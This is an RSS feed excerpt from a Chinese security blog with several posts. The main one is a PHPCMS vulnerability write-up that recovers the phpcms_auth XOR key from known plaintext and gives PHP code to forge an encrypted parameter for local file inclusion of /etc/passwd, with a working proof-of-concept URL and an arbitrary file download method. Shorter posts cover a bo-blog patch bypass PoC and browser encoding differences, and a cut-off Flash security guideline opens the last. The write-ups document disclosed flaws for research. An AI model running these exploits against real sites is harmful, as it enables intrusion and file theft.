		<comments>http://www.0x50sec.org/phpcms%e7%9a%84phpcms_auth%e5%af%bc%e8%87%b4%e7%9a%84%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96-%e6%9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e4%b8%8b%e8%bd%bd/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 05:41:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[phpcms]]></category>
		<category><![CDATA[phpcms_auth]]></category>
		<category><![CDATA[任意变量覆盖]]></category>
		<category><![CDATA[任意文件下载]]></category>
		<category><![CDATA[本地文件包含]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1054</guid>
		<description><![CDATA[phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞 by c4rp3nt3r@0x50sec.org mail: c4rp3nt3r#gmail.com HomePage:http://www.0x50sec.org phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数，在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密，进入程序流程，如果我们可以控制了phpcms_auth函数的解密，我们就可以通过注射我们的恶意代码，进行攻击。 而phpcms_auth采用的是可逆的位异或算法，并且对加密的结果进行了base64编码。 对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。 对于base64编码主要是处理某些加密后的不可见字符，但是这给了我们一个很好的机会: 就是说我们破解了$key之后，我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段，或者引入引号发起其他攻击。 到此已经违背了这个程序设计的初衷，破解了这个函数之后，一方面反而更加不安全了，另一方面所有建立在这个函数之上的机制可能都会受到攻击。 // include/global.func.php function phpcms_auth($txt, $operation = 'ENCODE', $key = '') { $key    = $key ? $key : $GLOBALS['phpcms_auth_key']; $txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt); $len    = strlen($key); $code    = ''; for($i=0; $i&#60;strlen($txt); $i++){ $k        = $i % $len;    [...]]]></description>
			<content:encoded><![CDATA[<p>phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞</p>
<p>by c4rp3nt3r@0x50sec.org<br />
mail: c4rp3nt3r#gmail.com<br />
HomePage:http://www.0x50sec.org</p>
<p>phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数，在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密，进入程序流程，如果我们可以控制了phpcms_auth函数的解密，我们就可以通过注射我们的恶意代码，进行攻击。<br />
而phpcms_auth采用的是可逆的位异或算法，并且对加密的结果进行了base64编码。<br />
对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。<br />
对于base64编码主要是处理某些加密后的不可见字符，但是这给了我们一个很好的机会:<br />
就是说我们破解了$key之后，我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段，或者引入引号发起其他攻击。<br />
到此已经违背了这个程序设计的初衷，破解了这个函数之后，一方面反而更加不安全了，另一方面所有建立在这个函数之上的机制可能都会受到攻击。</p>
<p><code>// include/global.func.php<br />
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')<br />
{<br />
$key    = $key ? $key : $GLOBALS['phpcms_auth_key'];<br />
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);<br />
$len    = strlen($key);<br />
$code    = '';</p>
<p>for($i=0; $i&lt;strlen($txt); $i++){<br />
$k        = $i % $len;    //循环使用密钥字符串对字符串逐位进行异或<br />
$code  .= $txt[$i] ^ $key[$k];<br />
}<br />
$code = $operation == 'DECODE' ? $code : base64_encode($code);<br />
return $code;<br />
}</code></p>
<p>对于$key的破解<br />
对于位运算的异或运算，是可逆的，明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥，有了密钥我们就可以破解另一部分密文，当然也就可以对我们自己的明文进行加密，然后用我们精心构造的密文发起攻击了。<br />
<span id="more-1054"></span><br />
不幸的是phpcms的确给了我们可用来破解密钥的明文。</p>
<p><code>// include/fields/downfile/output.inc.php</p>
<p>function downfile($field, $value)<br />
{<br />
$contentid = $this-&gt;contentid;<br />
$mode = $this-&gt;fields[$field]['mode'];<br />
$result = '';<br />
if($mode)<br />
{<br />
$servers = $this-&gt;fields[$field]['servers'];<br />
$downloadtype = $this-&gt;fields[$field]['downloadtype'];<br />
$servers = explode("\n",$servers);<br />
foreach($servers AS $k=&gt;$server)<br />
{<br />
$server = explode("|",$server);<br />
$serverurl = $server[1];<br />
$a_k = urlencode(phpcms_auth("i=$contentid&amp;s=$serverurl&amp;m=1&amp;f=$value&amp;d=$downloadtype", 'ENCODE', AUTH_KEY));<br />
$result .= "&lt;a href='down.php?a_k=$a_k' target='_blank'&gt;$server[0]&lt;/a&gt;";<br />
}<br />
}<br />
else<br />
{<br />
$a_k = urlencode(phpcms_auth("i=$contentid&amp;m=0&amp;f=$value", 'ENCODE', AUTH_KEY));<br />
$result = "&lt;a href='down.php?a_k=$a_k' target='_blank'&gt;点击下载&lt;/a&gt;";<br />
}<br />
return $result;<br />
}</code></p>
<p>这个文件是用来生成静态html文件的，默认安装的phpcms某个软件的下载页面地址为:</p>
<p>http://127.0.0.1/n/phpcms/2011/0331/2.html</p>
<p>进入下载文件的下载地址为:</p>
<p>http://127.0.0.1/n/phpcms/down.php?a_k=GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D</p>
<p>对加密字符串解密后为<br />
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D<br />
明文:i=2&amp;s=&amp;m=0&amp;f=uploadfile/2011/0331/20110331121233766.zip&amp;d=1<br />
这里2.html的2就是数据库里id的值，如果没有设置镜像站点的话$serverurl为空<br />
也就是说&#8221;i=2&amp;s=&amp;m=1&amp;f=&#8221;是不会变的，我们可以破解12位的密钥了。<br />
默认的话密钥有20位，如果用户上传目录没修改的话我们知道的明文就有&#8221;i=2&amp;s=&amp;m=0&amp;f=uploadfile&#8221;共23个字符，可以得到全部密钥了。</p>
<p><code><?php<br />
$key="i=2&amp;s=&amp;m=0&amp;f=uploadfile";<br />
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';<br />
$txt=base64_decode(urldecode($txt));<br />
$len=strlen($key);<br />
echo $len;<br />
for($i=0;$i&lt;strlen($key);$i++)<br />
{<br />
$code  .= $txt[$i] ^ $key[$i];<br />
}<br />
echo $code;<br />
?></code><br />
运行结果为:sIpeofogblFVCildZEwesIp<br />
可以看到sIp开始下一个循环加密了，所以密钥就是:sIpeofogblFVCildZEwe</p>
<p>还有一点就是下载的时候我们可以得到文件名:20110331121233766.zip<br />
d的值是下载文件的类型，假设我们不知道也不要紧<br />
就是说明文:20110331121233766.zip&amp;d=是已知的有24位<br />
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D</p>
<p><code><?<br />
$key="20110331121233766.zip&amp;d=";<br />
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';</p>
<p>$txt=base64_decode(urldecode($txt));<br />
$tlen=strlen($txt);<br />
$klen=strlen($key);<br />
for($i=1;$i&lt;strlen($key);$i++)<br />
{<br />
$code  .= $txt[$tlen-$i-1] ^ $key[$klen-$i];<br />
}<br />
echo $code."\n";<br />
echo $tlen."\n";<br />
?><br />
</code><br />
运行结果为:<br />
EZdliCVFlbgofoepIsewEZd<br />
59<br />
来看phpcms_auth源码<br />
<code>/*<br />
...<br />
$len    = strlen($key);<br />
...</p>
<p>for($i=0; $i&lt;strlen($txt); $i++){<br />
$k        = $i % $len;<br />
$code  .= $txt[$i] ^ $key[$k];<br />
}<br />
...<br />
*/</code></p>
<p>我们可以知道<br />
$key[17]=&#8217;E';<br />
我们可以得到倒序的密钥字符串:<br />
ewEZdliCVFlbgofoepIs</p>
<p>然后我们把字符串翻转过来终端下执行：</p>
<p>alone@Sh3llc0de:~$ echo &#8216;ewEZdliCVFlbgofoepIs&#8217;|rev<br />
sIpeofogblFVCildZEwe</p>
<p>我们的密钥字符串就是:sIpeofogblFVCildZEwe</p>
<p>到此我们已经从一个攻击者的角度破解出了密钥。接下来我们看看由此引发的几个安全问题<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>1.phpcms2008 sp2-sp4 本地文件包含漏洞<br />
这个漏洞跟boblog刚爆出的任意变量覆盖漏洞有些相似，都是任意变量覆盖然后仅跟了一个本地文件包含。这种漏洞也是很好玩的，攻击的方法更灵活。</p>
<p><code>//play.php<br />
<?php<br />
require dirname(__FILE__).'/include/common.inc.php';<br />
if(!isset($a_k)) showmessage($LANG['illegal_parameters']);<br />
//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了<br />
//所以$a_k=$_GET[$a_k];<br />
$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文</p>
<p>if(empty($a_k)) showmessage($LANG['illegal_parameters']);<br />
unset($i, $m, $f, $p);<br />
parse_str($a_k);    //parse_str处理解密后的$a_k将导致变量覆盖<br />
//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞<br />
//由于我们提交的密文会经过phpcms_auth函数中base64解密的，所以直接无视magic_quotes_gpc的影响而可以NULL字符截断<br />
//但是高版本的PHP修复了%00的攻击缺陷</p>
<p>if(isset($i)) $i = intval($i);<br />
if(!isset($m)) showmessage($LANG['illegal_parameters']);</p>
<p>if(empty($f)) showmessage('地址失效');<br />
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');<br />
if(!$i || $m&lt;0) showmessage($LANG['illegal_parameters']);<br />
$allow_readpoint = 1;<br />
// include global.fuc.php<br />
/*<br />
...<br />
$M = $TEMP = array();<br />
if(!isset($mod)) $mod = 'phpcms';<br />
if($mod != 'phpcms')<br />
{<br />
isset($MODULE[$mod]) or exit($LANG['module_not_exists']);<br />
$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;<br />
@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';<br />
$M = cache_read('module_'.$mod.'.php');<br />
}<br />
...<br />
*/<br />
//此处通过上文的对$mod进行变量覆盖绕过下面的if语句<br />
if($mod == 'phpcms')<br />
{<br />
$contentid = $i;<br />
include 'admin/content.class.php';<br />
$content = new content;<br />
$data = $content-&gt;get($contentid);<br />
$readpoint = $data['readpoint'];</p>
<p>$title = $data['title'];<br />
$keys = array_keys($data);</p>
<p>if(in_array('groupids_view',$keys))<br />
{<br />
if($data['groupids_view'])<br />
{<br />
if(!$priv_group-&gt;check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');<br />
}<br />
if(in_array('readpoint', $keys))<br />
{<br />
$C = cache_read('category_'.$data['catid'].'.php');<br />
if($C['defaultchargepoint'] || !empty($readpoint))<br />
{<br />
$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];<br />
$pay = load('pay_api.class.php', 'pay', 'api');<br />
if($C['repeatchargedays'])<br />
{<br />
if($pay-&gt;is_exchanged($contentid, $C['repeatchargedays']) === FALSE)<br />
{<br />
$allow_readpoint = 0;<br />
}<br />
}<br />
else<br />
{<br />
session_start();<br />
if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;<br />
}<br />
}<br />
}<br />
}<br />
}</p>
<p>$player = load('player.class.php');<br />
$result = $player-&gt;get($p);<br />
@extract($result);<br />
$videourl = trim($f);<br />
$code = str_replace('{$filepath}',$videourl, $code);<br />
$code = str_replace('{$PHPCMS[siteurl]}', $PHPCMS['siteurl'], $code);<br />
$code = str_replace('{$PHPCMS[sitename]}', $PHPCMS['sitename'], $code);<br />
$templateid = $templateid ? $templateid : 'play';<br />
include template($mod, $templateid);<br />
/*<br />
// include/global.fuc.php<br />
// function template 起到一个连接字符串的作用</p>
<p>function template($module = 'phpcms', $template = 'index', $istag = 0)<br />
{<br />
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';<br />
if(TPL_REFRESH &amp;&amp; (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') &gt; @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') &gt; @filemtime($compiledtplfile)))<br />
{<br />
require_once PHPCMS_ROOT.'include/template.func.php';<br />
template_compile($module, $template, $istag);<br />
}<br />
return $compiledtplfile;<br />
}</p>
<p>*/<br />
?></code></p>
<p>接下来生成我们的攻击字符串:<br />
<code><?php<br />
$key='sIpeofogblFVCildZEwe';<br />
$evil='i=1&amp;m=1&amp;f=fuck&amp;mod=../../../../../../../etc/passwd%00&amp;c4rp3nt3r=0x50sec.org';<br />
//经过parse_str($evil);后c4rp3nt3r变量并没有被创建<br />
//这个地方我也不是很明白为什么可以进行截断<br />
//但事实上真的可以截断</p>
<p>$evil = phpcms_auth($evil, 'ENCODE', $key);<br />
echo $evil."\n";<br />
function phpcms_auth($txt, $operation = 'ENCODE', $key)<br />
{<br />
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);<br />
$len    = strlen($key);<br />
$code    = '';</p>
<p>for($i=0; $i&lt;strlen($txt); $i++){<br />
$k        = $i % $len;<br />
$code  .= $txt[$i] ^ $key[$k];<br />
}<br />
$code = $operation == 'DECODE' ? $code : base64_encode($code);<br />
return $code;<br />
}<br />
?></code></p>
<p>alone@Sh3llc0de:/var/www$ php v.php<br />
GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL</p>
<p>POC：http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL<br />
成功包含了/etc/passwd</p>
<p>2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意文件下载漏洞</p>
<p>以phpcms2008为例</p>
<p>down.php 和download.php都存在这个漏洞，具体利用跟上面的文件包含差不多就不多罗嗦了，成功利用此漏洞可以下载任意文件，包括.php后缀的文件。<br />
只是download.php的加密方式是：<br />
//download.php<br />
&#8230;<br />
$phpcms_auth_key = md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);<br />
$a_k = phpcms_auth($a_k, &#8216;DECODE&#8217;, $phpcms_auth_key);<br />
&#8230;<br />
这样可能主要是为了仿制迅雷等浏览器的下载。但是既然我们知道了AUTH_KEY(见上文分析的密钥$key),$_SERVER['HTTP_USER_AGENT']是由用户提交的，那么$phpcms_auth_key 我们自然也就知道了。<br />
除了上面说的知道部分明文来算$key，还有可能暴力破解$key.<br />
还有就是经过md5加密后也未必就更安全，因为系统生成的$key有20位但是每一位都肯能个是大写或者小写字母，也就是有52种可能，但是经过md5加密后每一位就变成只有16种可能了，大大增加了被暴力破解的可能性。</p>
<p>全文结束<br />
参考和致谢:<br />
80vul.com《高级PHP应用程序漏洞审核技术》<br />
Ryat[puretot] 《bo-blog任意变量覆盖漏洞》</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/phpcms%e7%9a%84phpcms_auth%e5%af%bc%e8%87%b4%e7%9a%84%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96-%e6%9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e4%b8%8b%e8%bd%bd/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>浏览器差异带来的不仅仅是 XSS风险</title>
		<link>http://www.0x50sec.org/%e6%b5%8f%e8%a7%88%e5%99%a8%e5%b7%ae%e5%bc%82%e5%b8%a6%e6%9d%a5%e7%9a%84%e4%b8%8d%e4%bb%85%e4%bb%85%e6%98%af-xss%e9%a3%8e%e9%99%a9/</link>
		<comments>http://www.0x50sec.org/%e6%b5%8f%e8%a7%88%e5%99%a8%e5%b7%ae%e5%bc%82%e5%b8%a6%e6%9d%a5%e7%9a%84%e4%b8%8d%e4%bb%85%e4%bb%85%e6%98%af-xss%e9%a3%8e%e9%99%a9/#comments</comments>
		<pubDate>Sat, 12 Mar 2011 13:23:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[boblog]]></category>
		<category><![CDATA[urlencode策略差异]]></category>
		<category><![CDATA[任意变量覆盖]]></category>
		<category><![CDATA[浏览器差异]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1048</guid>
		<description><![CDATA[from:http://hi.baidu.com/hi_heige/blog/item/3e151db2696d9bb3d9335ac7.html 先看xeyeteam的文章《浏览器urlencode策略差异导致XSS风险》以及余先生的博文《浏览器差异带来的XSS风险1》，又是一个标准问题&#8230; 当Ryat牛看到这篇文章后感同身受，就在我的上一个blog里提到的《boblog任意变量覆盖漏洞》里，在测试的时候就出现过这个问题： 『start』 // go.php $q_url=$_SERVER["REQUEST_URI"]; @list($relativePath, $rawURL)=@explode(&#8216;/go.php/&#8217;, $q_url); $rewritedURL=$rawURL; &#8230; $RewriteRules[]=&#8221;/page\/([0-9]+)\/([0-9]+)\/?/&#8221;; // 这个正则看上去很严谨,但是没有使用^和$来限制开头与结尾[可能是为了适应程序自身的需要]:) &#8230; $RedirectTo[]=&#8221;index.php?mode=\\1&#38;page=\\2&#8243;; &#8230; foreach ($RewriteRules as $rule) { if (preg_match($rule, $rewritedURL)) { $tmp_rewritedURL=preg_replace($rule, &#8216;&#60;&#8217;.$RedirectTo[$i].&#8217;&#60;&#8217;, $rewritedURL, 1); // 对$rewritedURL进行匹配和替换,并使用&#60;来标记匹配的部分 // 经过这样的处理后$tmp_rewritedURL主要分为三部分: // i.第一个&#60;前面的部分 // ii.两个&#60;之间的部分 // iii.第二个&#60;后面的部分 $tmp_rewritedURL=@explode(&#8216;&#60;&#8217;, $tmp_rewritedURL); $rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1]; // 这段代码的主要目的是解决之前的正则限制不够严格的问题 // 程序员希望通过这段代码去掉i和iii,使$rewritedURL仅保留ii // 注意这里还对iii做了限制,按照程序员的想法,iii这部分应该是不存在的:) // [...]]]></description>
			<content:encoded><![CDATA[<p>from:http://hi.baidu.com/hi_heige/blog/item/3e151db2696d9bb3d9335ac7.html</p>
<p>先看xeyeteam的文章《<a href="http://s2.kkdaili.com/0b0d97edc58e6b5.php?u=T2k4dmVHVjVaWFJsWVcwdVlYQndjM0J2ZEM1amIyMHZNakF4TVM4d015OHhNUzlpY205M2MyVnljeTExY214bGJtTnZaR1V0WkdsbVptVnlaVzVqWlMxMGJ5MTRjM011YUhSdGJBPT0%3D&amp;b=29&amp;f=norefer" target="_blank">浏览器urlencode策略差异导致XSS风险</a>》以及余先生的博文《<a href="http://evilcos.me/blog/a/xss-of-browsers-differences-1/" target="_blank">浏览器差异带来的XSS风险1</a>》，又是一个<a href="http://hi.baidu.com/sys/search?word=%B1%EA%D7%BC&amp;type=1&amp;sort=1&amp;region=4&amp;hi=hi_heige" target="_blank">标准问题</a>&#8230;</p>
<p>当Ryat牛看到这篇文章后感同身受，就在我的上一个blog里提到的《<a href="http://www.0x50sec.org/boblog%E4%BB%BB%E6%84%8F%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E%E4%BA%8C/">boblog任意变量覆盖漏洞</a>》里，在测试的时候就出现过这个问题：</p>
<p>『start』<br />
// go.php</p>
<p>$q_url=$_SERVER["REQUEST_URI"];<br />
@list($relativePath, $rawURL)=@explode(&#8216;/go.php/&#8217;, $q_url);<br />
$rewritedURL=$rawURL;<br />
&#8230;<br />
$RewriteRules[]=&#8221;/page\/([0-9]+)\/([0-9]+)\/?/&#8221;;<br />
// 这个正则看上去很严谨,但是没有使用^和$来限制开头与结尾[可能是为了适应程序自身的需要]:)<br />
&#8230;<br />
$RedirectTo[]=&#8221;index.php?mode=\\1&amp;page=\\2&#8243;;<br />
&#8230;<br />
foreach ($RewriteRules as $rule) {<br />
if (preg_match($rule, $rewritedURL)) {<br />
$tmp_rewritedURL=preg_replace($rule, &#8216;&lt;&#8217;.$RedirectTo[$i].&#8217;&lt;&#8217;, $rewritedURL, 1);<br />
// 对$rewritedURL进行匹配和替换,并使用&lt;来标记匹配的部分<br />
// 经过这样的处理后$tmp_rewritedURL主要分为三部分:<br />
// i.第一个&lt;前面的部分<br />
// ii.两个&lt;之间的部分<br />
// iii.第二个&lt;后面的部分<br />
$tmp_rewritedURL=@explode(&#8216;&lt;&#8217;, $tmp_rewritedURL);<br />
$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];<br />
// 这段代码的主要目的是解决之前的正则限制不够严格的问题<br />
// 程序员希望通过这段代码去掉i和iii,使$rewritedURL仅保留ii<br />
// 注意这里还对iii做了限制,按照程序员的想法,iii这部分应该是不存在的:)<br />
// 这部分代码逻辑的关键就在于&lt;这个字符,但遗憾的是我们是可以随意注入&lt;的:p<br />
break;<br />
}<br />
$i+=1;<br />
『end』<br />
<span id="more-1048"></span><br />
在这个漏洞的测试的时候，这个问题直接影响到了Ryat牛的测试进程，<span style="color: #ff0000;">最后写程序提交才完成</span>&#8230;</p>
<p>所以我大体YY一下作者所用&lt;处理变量的理由：‘我再想bob的作者是不是误认为request_url里的&lt; &#8220;啥的本来就该被编码  所以才放心的用&lt;来分割 ’</p>
<p>当然这一切都是我们的主观臆断！！</p>
<p>这个故事说明一个问题，浏览器这次的“urlencode策略差异”，可以导致程序员“错觉”，从而导致悲剧的结果！这个和《<a href="http://hi.baidu.com/hi%5Fheige/blog/item/3d52effbf6a47cd0b58f312d.html" target="_blank">各个语言格式标准不同导致的安全问题</a>》有着异曲同工的效果 :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e6%b5%8f%e8%a7%88%e5%99%a8%e5%b7%ae%e5%bc%82%e5%b8%a6%e6%9d%a5%e7%9a%84%e4%b8%8d%e4%bb%85%e4%bb%85%e6%98%af-xss%e9%a3%8e%e9%99%a9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>boblog任意变量覆盖漏洞(二)</title>
		<link>http://www.0x50sec.org/boblog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e4%ba%8c/</link>
		<comments>http://www.0x50sec.org/boblog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e4%ba%8c/#comments</comments>
		<pubDate>Thu, 10 Mar 2011 00:05:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[80vul]]></category>
		<category><![CDATA[boblog]]></category>
		<category><![CDATA[变量覆盖]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1041</guid>
		<description><![CDATA[boblog任意变量覆盖漏洞(二) by Ryat[puretot] mail: puretot at gmail dot com team: http://www.80vul.com date: 2011-03-09 先前80vul.com上公布了一个bo-blog的漏洞[1],这个漏洞已经被官方修补,但随后wooyun.com上公布了一个绕过补丁的方法[2],可惜触发时有一定的限制,下面我再来公布一个没有任何限制的绕过补丁继续触发漏洞的方法:) 这个简单来说是正则表达式和代码逻辑不够严谨造成的,来看代码: // go.php $q_url=$_SERVER["REQUEST_URI"]; @list($relativePath, $rawURL)=@explode(&#8216;/go.php/&#8217;, $q_url); $rewritedURL=$rawURL; &#8230; $RewriteRules[]=&#8221;/page\/([0-9]+)\/([0-9]+)\/?/&#8221;; // 这个正则看上去很严谨,但是没有使用^和$来限制开头与结尾[可能是为了适应程序自身的需要]:) &#8230; $RedirectTo[]=&#8221;index.php?mode=\\1&#38;page=\\2&#8243;; &#8230; foreach ($RewriteRules as $rule) { if (preg_match($rule, $rewritedURL)) { $tmp_rewritedURL=preg_replace($rule, &#8216;&#60;&#8217;.$RedirectTo[$i].&#8217;&#60;&#8217;, $rewritedURL, 1); // 对$rewritedURL进行匹配和替换,并使用&#60;来标记匹配的部分 // 经过这样的处理后$tmp_rewritedURL主要分为三部分: // i.第一个&#60;前面的部分 // ii.两个&#60;之间的部分 // iii.第二个&#60;后面的部分 $tmp_rewritedURL=@explode(&#8216;&#60;&#8217;, $tmp_rewritedURL); $rewritedURL=($tmp_rewritedURL[2]) [...]]]></description>
			<content:encoded><![CDATA[<p>boblog任意变量覆盖漏洞(二)</p>
<p>by Ryat[puretot]<br />
mail: puretot at gmail dot com<br />
team: http://www.80vul.com<br />
date: 2011-03-09</p>
<p>先前80vul.com上公布了一个bo-blog的漏洞[1],这个漏洞已经被官方修补,但随后wooyun.com上公布了一个绕过补丁的方法[2],可惜触发时有一定的限制,下面我再来公布一个没有任何限制的绕过补丁继续触发漏洞的方法:)</p>
<p>这个简单来说是正则表达式和代码逻辑不够严谨造成的,来看代码:</p>
<p>// go.php</p>
<p>$q_url=$_SERVER["REQUEST_URI"];<br />
@list($relativePath, $rawURL)=@explode(&#8216;/go.php/&#8217;, $q_url);<br />
$rewritedURL=$rawURL;<br />
&#8230;<br />
$RewriteRules[]=&#8221;/page\/([0-9]+)\/([0-9]+)\/?/&#8221;;<br />
// 这个正则看上去很严谨,但是没有使用^和$来限制开头与结尾[可能是为了适应程序自身的需要]:)<br />
&#8230;<br />
$RedirectTo[]=&#8221;index.php?mode=\\1&amp;page=\\2&#8243;;<br />
&#8230;<br />
<span id="more-1041"></span>foreach ($RewriteRules as $rule) {<br />
if (preg_match($rule, $rewritedURL)) {<br />
$tmp_rewritedURL=preg_replace($rule, &#8216;&lt;&#8217;.$RedirectTo[$i].&#8217;&lt;&#8217;, $rewritedURL, 1);<br />
// 对$rewritedURL进行匹配和替换,并使用&lt;来标记匹配的部分<br />
// 经过这样的处理后$tmp_rewritedURL主要分为三部分:<br />
// i.第一个&lt;前面的部分<br />
// ii.两个&lt;之间的部分<br />
// iii.第二个&lt;后面的部分<br />
$tmp_rewritedURL=@explode(&#8216;&lt;&#8217;, $tmp_rewritedURL);<br />
$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];<br />
// 这段代码的主要目的是解决之前的正则限制不够严格的问题<br />
// 程序员希望通过这段代码去掉i和iii,使$rewritedURL仅保留ii<br />
// 注意这里还对iii做了限制,按照程序员的想法,iii这部分应该是不存在的:)<br />
// 这部分代码逻辑的关键就在于&lt;这个字符,但遗憾的是我们是可以随意注入&lt;的:p<br />
break;<br />
}<br />
$i+=1;<br />
}</p>
<p>从上面的分析可以看出这段代码对$rewritedURL处理逻辑貌似很严谨,但事实我们只要通过简单的注入&lt;这个字符,就可以打乱整个逻辑了:)</p>
<p>PoC:<br />
/go.php/&lt;[evil code]&lt;page/1/1/</p>
<p>参考:<br />
[1]http://www.80vul.com/boblog/boblog.txt<br />
[2]http://www.wooyun.org/bugs/wooyun-2010-01491</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/boblog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e4%ba%8c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flash应用安全规范</title>
		<link>http://www.0x50sec.org/flash%e5%ba%94%e7%94%a8%e5%ae%89%e5%85%a8%e8%a7%84%e8%8c%83/</link>
		<comments>http://www.0x50sec.org/flash%e5%ba%94%e7%94%a8%e5%ae%89%e5%85%a8%e8%a7%84%e8%8c%83/#comments</comments>
		<pubDate>Thu, 06 May 2010 01:59:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[安全规范]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=871</guid>
		<description><![CDATA[Flash应用安全规范 来源:http://www.80sec.com/flash-security-polic.html Author: jianxin [80sec] EMail: jianxin#80sec.com Site: http://www.80sec.com Date: 2009-07-25 From: http://www.80sec.com/release/flash-security.txt [ 目录 ] 0×00 前言 0×01 安全的服务端flash安全策略 0×02 安全的客户端flash安全规范 0×03 flash安全的checklist 0×00 前言 flash作为一款浏览器的第三方插件，是对浏览器功能的延伸，已经是web必不可少的元素。但是这种延伸必然带来不安全的因素，相比于安全性已经得到磨练的浏览器来说，flash绝对是客户端安全的一个软肋（包括在比较神秘的漏洞挖掘领域，也是这个观点），同样flash在页面展示时所含有的丰富功能，在某些情况下你甚至可以认为它等同于javascript，甚至更为危险。浏览器所贯彻的域安全策略被flash所打破，客户端所做的种种过滤也同样被 flash所打破（只要你还使用flash）。但是flash也已经感觉到了这个问题，并且时时在改进，在设计上也引入了一些比较好的安全机制，恰当的使用这些安全机制可以避免你的应用程序遭到攻击。80sec将从实际的一些经验总结出一些供参考的flash使用规范，规范将从服务端应用程序的安全设计和客户端的flash安全使用两个角度来说明这个问题。 0×01 安全的服务端flash安全策略 